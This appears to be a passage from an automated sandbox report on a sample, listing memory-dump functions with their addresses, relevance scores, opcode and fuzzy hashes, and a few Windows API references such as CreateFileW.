KiUserCallbackDispatcher.NTDLL(0000004B), ref: 050074CD

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9cbfebf0827d548890ef60c82857678a670d3268df1ebe46ae1d8f4d4ad56869
Instruction ID: 2e38b0dd3808bd0efab6ea24829716863bb35f913ad063ff843098f3548d654b
Opcode Fuzzy Hash: 9cbfebf0827d548890ef60c82857678a670d3268df1ebe46ae1d8f4d4ad56869
Instruction Fuzzy Hash: 9D1188718053998FDB11CF99E4467EEBFF4FB09324F148059E495A3681CB7CA605CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05007467, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 050074CD

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 60cad1a16ebb1e0ae171366e1278dad47f6e4aa0d2bc3088933fc47200764dbf
Instruction ID: 9e91a2dde3205376ae0c6e9d8340e9dfdd65c823c7bb2037fe25a8806ec430e1
Opcode Fuzzy Hash: 60cad1a16ebb1e0ae171366e1278dad47f6e4aa0d2bc3088933fc47200764dbf
Instruction Fuzzy Hash: 901176B58052998EDB11CF94E5463EEBFF4AB08324F148459E495B3681CB7CA6058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F8D3B4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.906818518.0000000000F8D000.00000040.00000001.sdmp, Offset: 00F8D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78cc50a6f29194282fec0afb2d38044744b13d0d4eeee1167006c353203799cf
Instruction ID: f62744f20aac6ab45afc79ffd55fffddf9e595e5cff47128fcc928c5ddab23e6
Opcode Fuzzy Hash: 78cc50a6f29194282fec0afb2d38044744b13d0d4eeee1167006c353203799cf
Instruction Fuzzy Hash: 5121F8B2904244DFDB05EF10D8C0F96BB75FF94324F24C569E8094B686C336E856E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F8D4A0, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.906818518.0000000000F8D000.00000040.00000001.sdmp, Offset: 00F8D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 501f807bb21ad2481c2ed0145c8f35280e97652e6f330aa1257f46a4ea377740
Instruction ID: 43ac99243fac8fa92cd005d9fb2a9f6040b7ca4ff424ecff91cdcfcf953b6a89
Opcode Fuzzy Hash: 501f807bb21ad2481c2ed0145c8f35280e97652e6f330aa1257f46a4ea377740
Instruction Fuzzy Hash: 432106B6904244DFDB05EF14D8C0BA6BB65FF84328F24856AE9090F296C336D845E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.907016851.0000000000F9D000.00000040.00000001.sdmp, Offset: 00F9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c3166f9808e599c80bb707cf029d83d63e463c8271d238af5d7a08e488da68
Instruction ID: 036dee24b664ec5079e0c1a307121c09d0b35082a7b643f65d5b08edf13c40e7
Opcode Fuzzy Hash: c6c3166f9808e599c80bb707cf029d83d63e463c8271d238af5d7a08e488da68
Instruction Fuzzy Hash: 7521D375904240DFEF14CF24D4C4B16BB65FB84324F34C56DD84A4B65AC33AD846DA62

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D005, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.907016851.0000000000F9D000.00000040.00000001.sdmp, Offset: 00F9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea27c06174f65055f838267e2a0878195ea95c1493ce070e31eafa9f21542161
Instruction ID: 9cb6245ccfa16130c25a861b417f7d049410e627c1c30b44d7330e68e7cc132b
Opcode Fuzzy Hash: ea27c06174f65055f838267e2a0878195ea95c1493ce070e31eafa9f21542161
Instruction Fuzzy Hash: 8B2195755093C08FDB02CF24D590715BF71EB46324F29C5DAD8498B6A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F8D3AF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.906818518.0000000000F8D000.00000040.00000001.sdmp, Offset: 00F8D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a092fcaee0eb3c0328143d559cad57c1e6d0db94b124d186dd8b2323946d1c30
Instruction ID: a60dd6fc78541120cdca9bc9a4e0c2c74680e43760af96412c0eaed98a7b161f
Opcode Fuzzy Hash: a092fcaee0eb3c0328143d559cad57c1e6d0db94b124d186dd8b2323946d1c30
Instruction Fuzzy Hash: B211E172804280DFCB01CF10D9C4B56BF71FF84324F24C6A9D8490B656C336E856DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F8D49B, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.906818518.0000000000F8D000.00000040.00000001.sdmp, Offset: 00F8D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a092fcaee0eb3c0328143d559cad57c1e6d0db94b124d186dd8b2323946d1c30
Instruction ID: 06a08a090487656cc2168b9f5502230f82ad306386e1c662ffaecae5185fbfd8
Opcode Fuzzy Hash: a092fcaee0eb3c0328143d559cad57c1e6d0db94b124d186dd8b2323946d1c30
Instruction Fuzzy Hash: 3811DFB6804280CFCB02DF04D9C0B56BF71FB84324F28C2AAD8050B656C336D856DBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 5520 Parent PID: 4556 powershell.exeCOMMON

Executed Functions

Function 0883B4F8, Relevance: .8, Instructions: 819COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94f1ed25e615f3cf27ffcc90ae0b54bac474293e6b92c0afbc8adf7f6607e09b
Instruction ID: e849b2bf81f17f8a2669f6c61bbf94e7ba2c29e3ca52a40d28a1c707634d8cf4
Opcode Fuzzy Hash: 94f1ed25e615f3cf27ffcc90ae0b54bac474293e6b92c0afbc8adf7f6607e09b
Instruction Fuzzy Hash: 36823C78A002188FDB54DBA4C850BDEB7B2EF85305F2045E9D109AB791DF39AE85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 08835248, Relevance: .6, Instructions: 634COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1864faf15be0f0d8a85a72ebe0fc5f3b1d1c6c6d94ef5d5ce8cb2b30d771074
Instruction ID: 2992682f31a1581653cb48d882ffeb265fb3268922e183921e5daa557a549b94
Opcode Fuzzy Hash: a1864faf15be0f0d8a85a72ebe0fc5f3b1d1c6c6d94ef5d5ce8cb2b30d771074
Instruction Fuzzy Hash: ED428134A006299FDB24DB64C850BADB772EF89304F2085AAE5097B791DF759D81CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0883523A, Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea174e20461e2c65906eabc41973815c493411789dd30bafbcf09bf6a16bf470
Instruction ID: ab28bd466c88761ba48421d2e36cc5f75e26e1a0d10058d88a47409a810d9d70
Opcode Fuzzy Hash: ea174e20461e2c65906eabc41973815c493411789dd30bafbcf09bf6a16bf470
Instruction Fuzzy Hash: CAE1A034A007199FDB24DB64C850BAEB772EF89304F2085A9E5097B791DF75AD818FA0

Uniqueness

Uniqueness Score: -1.00%

Function 0883C598, Relevance: 2.9, Strings: 2, Instructions: 438COMMON

Download Yara Rule

Strings

/, xrefs: 0883CAB2
s7ed^, xrefs: 0883CA92

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID: /$s7ed^
API String ID: 0-3095947831
Opcode ID: 32f0dc458ce29d1cd3b2502a016512674d694d8fa7726b02cc21bf20fe5e0543
Instruction ID: 8f74f4ef443a6f4b3a530efdc4649842a49fad561733f09e5c509ac7a9f78bf7
Opcode Fuzzy Hash: 32f0dc458ce29d1cd3b2502a016512674d694d8fa7726b02cc21bf20fe5e0543
Instruction Fuzzy Hash: AFF1ADB4B002258FDB04EF68C4446BEB7E7AF84245B24882DD506EB391DFB4DD068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 0833E9C8, Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.949645994.0000000008330000.00000040.00000001.sdmp, Offset: 08330000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d3686ab573d9143aa5c9523fe6bb466ec467c3289cb8f93640ca1ee79f2a28de
Instruction ID: cf9b3055701856c7f661b0937c694fbcaa06cf8d9073f88970b41e6a27d0832b
Opcode Fuzzy Hash: d3686ab573d9143aa5c9523fe6bb466ec467c3289cb8f93640ca1ee79f2a28de
Instruction Fuzzy Hash: 4141DC71A042199FDB00DFA9C844BEAFFB5EB88314F148129E909AB780C774A944CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0833EA68, Relevance: 1.6, APIs: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,0833E9E7,00000000,00000000,00000003,00000000,00000002), ref: 0833EAF2

Memory Dump Source

Source File: 00000021.00000002.949645994.0000000008330000.00000040.00000001.sdmp, Offset: 08330000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: aa29c038bf097a620b2bd015a81dfa1975dbe979cba9ed632eb4749e91d793a6
Instruction ID: 2c8b2b5f10441b9606dc71675434a7842eca4d0f99a87a4d649a5a721f693e45
Opcode Fuzzy Hash: aa29c038bf097a620b2bd015a81dfa1975dbe979cba9ed632eb4749e91d793a6
Instruction Fuzzy Hash: 392139B5900659AFCF00CF99D844ADEFBB4FB48315F148519E919B3710C774AA54CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0833E254, Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,0833E9E7,00000000,00000000,00000003,00000000,00000002), ref: 0833EAF2

Memory Dump Source

Source File: 00000021.00000002.949645994.0000000008330000.00000040.00000001.sdmp, Offset: 08330000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1becc3bd87cab9866355e8e17e03f0d6058d059fd10210efd4ab7a63a8c1c088
Instruction ID: c292d977d368ee8bb3f89d4f4444288842f30afc9424464c21ec37b91904acf0
Opcode Fuzzy Hash: 1becc3bd87cab9866355e8e17e03f0d6058d059fd10210efd4ab7a63a8c1c088
Instruction Fuzzy Hash: 532128B1900259AFCF00CF99D884BDEBBB4FB48310F148119E919A7610C774A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08FC87C0, Relevance: 1.5, Strings: 1, Instructions: 286COMMON

Download Yara Rule

Strings

s', xrefs: 08FC8888

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID: s'
API String ID: 0-1160317890
Opcode ID: ccf04a2b5e9dcb311a8b9d84bd665173241c682933333ad84d7df06b31e0b930
Instruction ID: 1785084e13609c5a38fbb981d5b7c0e094752f53a80b3567e5cdd2c35e53c7fa
Opcode Fuzzy Hash: ccf04a2b5e9dcb311a8b9d84bd665173241c682933333ad84d7df06b31e0b930
Instruction Fuzzy Hash: A5A113342003058FCB159F78D4546AB7BA2EF8534AF14486DE8468B791CF78ED0ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 08837030, Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

#i, xrefs: 088370D4

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID: #i
API String ID: 0-1861630465
Opcode ID: 6248ce930b259a57fceb449a49365520513868617e5528f1973c0afac9e2a9fd
Instruction ID: de02dd05454b4f73987d9e7b802e30a6cf06cdcfe15f338abf30655fd38f18d8
Opcode Fuzzy Hash: 6248ce930b259a57fceb449a49365520513868617e5528f1973c0afac9e2a9fd
Instruction Fuzzy Hash: 12518E78B006599FCB14EBB4C440ADE77F3AF89215F2089A8D009AF750DB71AD098BE0

Uniqueness

Uniqueness Score: -1.00%

Function 08FC87B0, Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

s', xrefs: 08FC8888

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID: s'
API String ID: 0-1160317890
Opcode ID: ddfd034d8c2ecba57040de28ef2c2e5645f85d068bdd497b3832ddde10e8dcd5
Instruction ID: 920d63318b3295ed9118ac56d2918e1b74e1991b527f6b10c354033e32979051
Opcode Fuzzy Hash: ddfd034d8c2ecba57040de28ef2c2e5645f85d068bdd497b3832ddde10e8dcd5
Instruction Fuzzy Hash: 51213675600216AFCF048F29C9006AB7BE5FF85345F14803EF8059B291D779EE15CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0883D3E8, Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 841e979ebe67ce3a4fba87e549b74a252f5be848e3b9045112ff2a005d05659e
Instruction ID: dc9a7c250ba1343202afcce5cecd3f275ac2860108118581e7a3329aa798c33a
Opcode Fuzzy Hash: 841e979ebe67ce3a4fba87e549b74a252f5be848e3b9045112ff2a005d05659e
Instruction Fuzzy Hash: 5E028C74B106248FCB14EB69C494AAEB7F2EF84355B25896CE806DB754DB34EC06CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 08FC9330, Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17e1a5663886459e864675864fe587d9a43dc74702154a33e71f403673ff0685
Instruction ID: 3e1995d28fdd5bca0a484ebf7013521775a027135b5e17cb20efd62f7e8c8d8e
Opcode Fuzzy Hash: 17e1a5663886459e864675864fe587d9a43dc74702154a33e71f403673ff0685
Instruction Fuzzy Hash: 95C1CF74B042459FCB069B749854A6E7BAAEFC5311F1880AEE405CB382CF79DD069BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0883FAD0, Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3870eb9ecab1bfef9dd2afbe83c73efaf5ddf9a1382781fccdf74f849f2be1
Instruction ID: 9c4164c84ed471157b75c185fa9f836cc3ec44cd8d0a01eba25e2c57daad6a6c
Opcode Fuzzy Hash: 3c3870eb9ecab1bfef9dd2afbe83c73efaf5ddf9a1382781fccdf74f849f2be1
Instruction Fuzzy Hash: 49D1AD386016158FDB04DB64D840AAE77B2EFC6209B14892DD10ACFB65DF75AD0A8BE0

Uniqueness

Uniqueness Score: -1.00%

Function 088361E0, Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbcf491674690d1eebbda0e4dcc26ad413f7366fead7821988c2f61c0994c1bd
Instruction ID: 807802a8c5126583db2fa2d6552e343d37a1e98f4342bfe85dfbde9b377586c4
Opcode Fuzzy Hash: dbcf491674690d1eebbda0e4dcc26ad413f7366fead7821988c2f61c0994c1bd
Instruction Fuzzy Hash: D5E13B38A006188FDB00DB94D054BEEB7B2EF82305F65C46CC01A6F7A5DF759D4A8BA5

Uniqueness

Uniqueness Score: -1.00%

Function 08FCC2B0, Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 168460bffcb4382228546ccc882e61490b991dbc245053432a98737534594b7d
Instruction ID: 1ad977ed876454e0c68d8ad658fa4529a62e3f48c06e380fcfdd21cd795f7060
Opcode Fuzzy Hash: 168460bffcb4382228546ccc882e61490b991dbc245053432a98737534594b7d
Instruction Fuzzy Hash: CED184786007049FCB44EB74D95569EB7A7EBC5218F208A2CD209DF341DF76AD0A8BE4

Uniqueness

Uniqueness Score: -1.00%

Function 08FCDCC0, Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ca4e44aa97fc7e2bfd78afc51071deaaac8fba966f73c2ce53336d469976ad
Instruction ID: 46732d5b2b4e5fc9af849e4acafeab48210c86d62809c0ca9ba1dbed0285af51
Opcode Fuzzy Hash: 57ca4e44aa97fc7e2bfd78afc51071deaaac8fba966f73c2ce53336d469976ad
Instruction Fuzzy Hash: E0C1A1786006019FCB40DF78E49569DB7B2EF84318B10896CE51ACF7A8DFB5AC458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 08FCDCB1, Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a00489f485269c6af307eac0350ffed54dc24c2b4d8f6d6b66e6ac34943919f
Instruction ID: 9d32d25308a08969158ce088b23409d4c6c1a638763d7f337040bc81ca033b30
Opcode Fuzzy Hash: 4a00489f485269c6af307eac0350ffed54dc24c2b4d8f6d6b66e6ac34943919f
Instruction Fuzzy Hash: 5BB1BF786006029FCB40DF38E4D1699BBB2EF85314B10896CE45ACF7A5DBB5AC45CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0883FAC0, Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d17797daf6a4e37b1beffb1cbabd2235e2aff7769565fa89c748fa835005a7a5
Instruction ID: b5940022b68963d2d3284fdc2df43cef92ab5d27da2fa2057364ff1338f75a42
Opcode Fuzzy Hash: d17797daf6a4e37b1beffb1cbabd2235e2aff7769565fa89c748fa835005a7a5
Instruction Fuzzy Hash: C4816038201B054BDB44EB74C8805AE77B3EFC6208B64892CD0499FB68DF75BD0A8BD5

Uniqueness

Uniqueness Score: -1.00%

Function 08FCA080, Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b92ed2b032a84af3bcc056d9c3fd1503d9dc1ac65d5681adfdac733e2acd8718
Instruction ID: 16b71f267242f299c3a203da0bba5ddb356e648fc8d11342956c35cb3f5ed6a7
Opcode Fuzzy Hash: b92ed2b032a84af3bcc056d9c3fd1503d9dc1ac65d5681adfdac733e2acd8718
Instruction Fuzzy Hash: 4C917F74A00219DFCB04DFA8D554A9EBBB2EF89301F14846CE805AF355CB75AE49CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 08FCCF98, Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b80438936e6882cf72eb966cdf1e8cf8ec4046587c20ccb5befe521789c292d
Instruction ID: 0c5736ded6a82f40ab87e831d06ec456826e443798d438b9c9057d1bb4f6db42
Opcode Fuzzy Hash: 5b80438936e6882cf72eb966cdf1e8cf8ec4046587c20ccb5befe521789c292d
Instruction Fuzzy Hash: 817101787043018BDB18AB39D51822E7BE6EF81216B19807DD80ACF782DF39DD42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 08FCC770, Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7a20b3ea3229c4bddd6332396c7171e5a86197f73d0f35a61fc14e2fd80f537
Instruction ID: 755d51a257a9cf92e973d5b954189793f554ad7ffd0fc0a8132667ae83ed634b
Opcode Fuzzy Hash: a7a20b3ea3229c4bddd6332396c7171e5a86197f73d0f35a61fc14e2fd80f537
Instruction Fuzzy Hash: CD81BE746007069FCB50EF64C88199EBBB2FF86304B10896DD1099BB65EB71AD09CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 08FCE7A8, Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6278d3647f24c1c2c3432327f619f8258b75ee2981980e3411e53abd80126f25
Instruction ID: 0c2b9e657e823cdeaf8a89c575484da80b42097d07df03a5cb267ff8abefe397
Opcode Fuzzy Hash: 6278d3647f24c1c2c3432327f619f8258b75ee2981980e3411e53abd80126f25
Instruction Fuzzy Hash: DD61DF78B006158FC714EB78D894A6EB7EAEFC8311B15842DE546DB781CF74EC028BA0

Uniqueness

Uniqueness Score: -1.00%

Function 08FCA3D0, Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f6db9d5d248b170844526ec1183105e35d1f6d9c0b4153c3cea168aba70020
Instruction ID: 066d36329d74891d5d95c339b7aeda9f158ce65a44a02d3f655ff474bd7e2207
Opcode Fuzzy Hash: 39f6db9d5d248b170844526ec1183105e35d1f6d9c0b4153c3cea168aba70020
Instruction Fuzzy Hash: B4613A78F002148FCB05DBB8D4596ADBBB6AF89315F158069D816AB391DF34AC068FA1

Uniqueness

Uniqueness Score: -1.00%

Function 08FCF13F, Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc304a93b42b72e4b4a99ef3f15e6faf189cf8741362b64bb7e791d52f9d8729
Instruction ID: 6afd044cb274e731f289dbf9e582e08913567983b1b73b22c20f24f999a91f7c
Opcode Fuzzy Hash: fc304a93b42b72e4b4a99ef3f15e6faf189cf8741362b64bb7e791d52f9d8729
Instruction Fuzzy Hash: 3C519378201701DFC3149F39D85875AB7A2EB85324F20CA2DD55A8BBD1CF79EC458B94

Uniqueness

Uniqueness Score: -1.00%

Function 08FCF150, Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 528893f0605a4f213ff526315d0db097cb4f28c683a47e848e7cd78d3612a018
Instruction ID: c6ceadbc1960bc53a9e1f9a9dd5e6b8d985183fe6e2164f7cf2edc8cc027e460
Opcode Fuzzy Hash: 528893f0605a4f213ff526315d0db097cb4f28c683a47e848e7cd78d3612a018
Instruction Fuzzy Hash: 65519078201701EFC3149F39D85476AB7A2EB85324F20CA2DD56A8BBC1DF79EC458B94

Uniqueness

Uniqueness Score: -1.00%

Function 08FCB3B0, Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4326d4093217876f8fc1d3f5c1299408ac8f429612fe8b45ace42a1f44b1c435
Instruction ID: 8c60ea6a48f2f28136c155163b4ab8d582c8a8c84e5d6671f8a4c4e8672b34ff
Opcode Fuzzy Hash: 4326d4093217876f8fc1d3f5c1299408ac8f429612fe8b45ace42a1f44b1c435
Instruction Fuzzy Hash: C351D178A053049FCB05DFB4D850A9DBBB2EF8A304F2584AED105AF361DB359D06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0883A7D0, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524a4962e7b90e4a87778c8bed02fdfe868cd34c8f6c5788553bc6b67a95e82b
Instruction ID: c2c58ea0837e4d71e368bc24f83a8e8d23fa46b7f93711017cab8f41f1777046
Opcode Fuzzy Hash: 524a4962e7b90e4a87778c8bed02fdfe868cd34c8f6c5788553bc6b67a95e82b
Instruction Fuzzy Hash: 09519178201B005BD754EB39C85069E32A3EFC2218B644D2CC14A8FBA4DF75BD0D8BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0883A7E0, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3b06aff084e03bfc869bacdaf26d898fd7866d4904465192d3f8ec2dbdf1503
Instruction ID: 718ed587cd261503c376a621a76556dc95b18ddedfedadde7a5cb503098632ad
Opcode Fuzzy Hash: a3b06aff084e03bfc869bacdaf26d898fd7866d4904465192d3f8ec2dbdf1503
Instruction Fuzzy Hash: B0416178201B005BD754EB79C85069E72A3EFC1218B644D2CC14A8FB98DF75BD095BE9

Uniqueness

Uniqueness Score: -1.00%

Function 08835F60, Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f1f3ff25ba7c2ba8db189371d778131dfe398a71f33ed248743d023b2c8880
Instruction ID: f4cf47f9c70851d59f401ebfdb4def1a30bd5f63248a4babc317c104f7671538
Opcode Fuzzy Hash: 75f1f3ff25ba7c2ba8db189371d778131dfe398a71f33ed248743d023b2c8880
Instruction Fuzzy Hash: 5551BF34600215EBDF14DF64D492B6EB7B3EB84319F108128EA05AF785EB75AD46CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 08FCAB88, Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0ff129f3795776b186015e019be3993cb11edd8e5dbd9a281428ec99ef3856f
Instruction ID: 0d804524f3f0a8b43ba87bdb22f87ca1ed7e65f8816d297e105a3c2d9b9c0895
Opcode Fuzzy Hash: b0ff129f3795776b186015e019be3993cb11edd8e5dbd9a281428ec99ef3856f
Instruction Fuzzy Hash: 1841D579B0035A5FCB159F2D980456A7BEBEFC9222B24442CE946C7781DFB4ED058BA0

Uniqueness

Uniqueness Score: -1.00%

Function 08FC8E58, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.957543441.0000000008FB0000.00000040.00000001.sdmp, Offset: 08FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c5772c467cde9e433bda0320f6ccb8b11d9ef9ee0890628457f6cfd0e1d5fdb
Instruction ID: 6f9f1134b93d1a0ead124069d4c9a1265fc694907089f58f72cdbc838fe4f2c9
Opcode Fuzzy Hash: 6c5772c467cde9e433bda0320f6ccb8b11d9ef9ee0890628457f6cfd0e1d5fdb
Instruction Fuzzy Hash: 1741AE34204B468BC720DF28C444A9BB7B2AF81319F048A6CE54A4BB65DBB4ED49CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 08835F52, Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.950136741.0000000008830000.00000040.00000001.sdmp, Offset: 08830000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
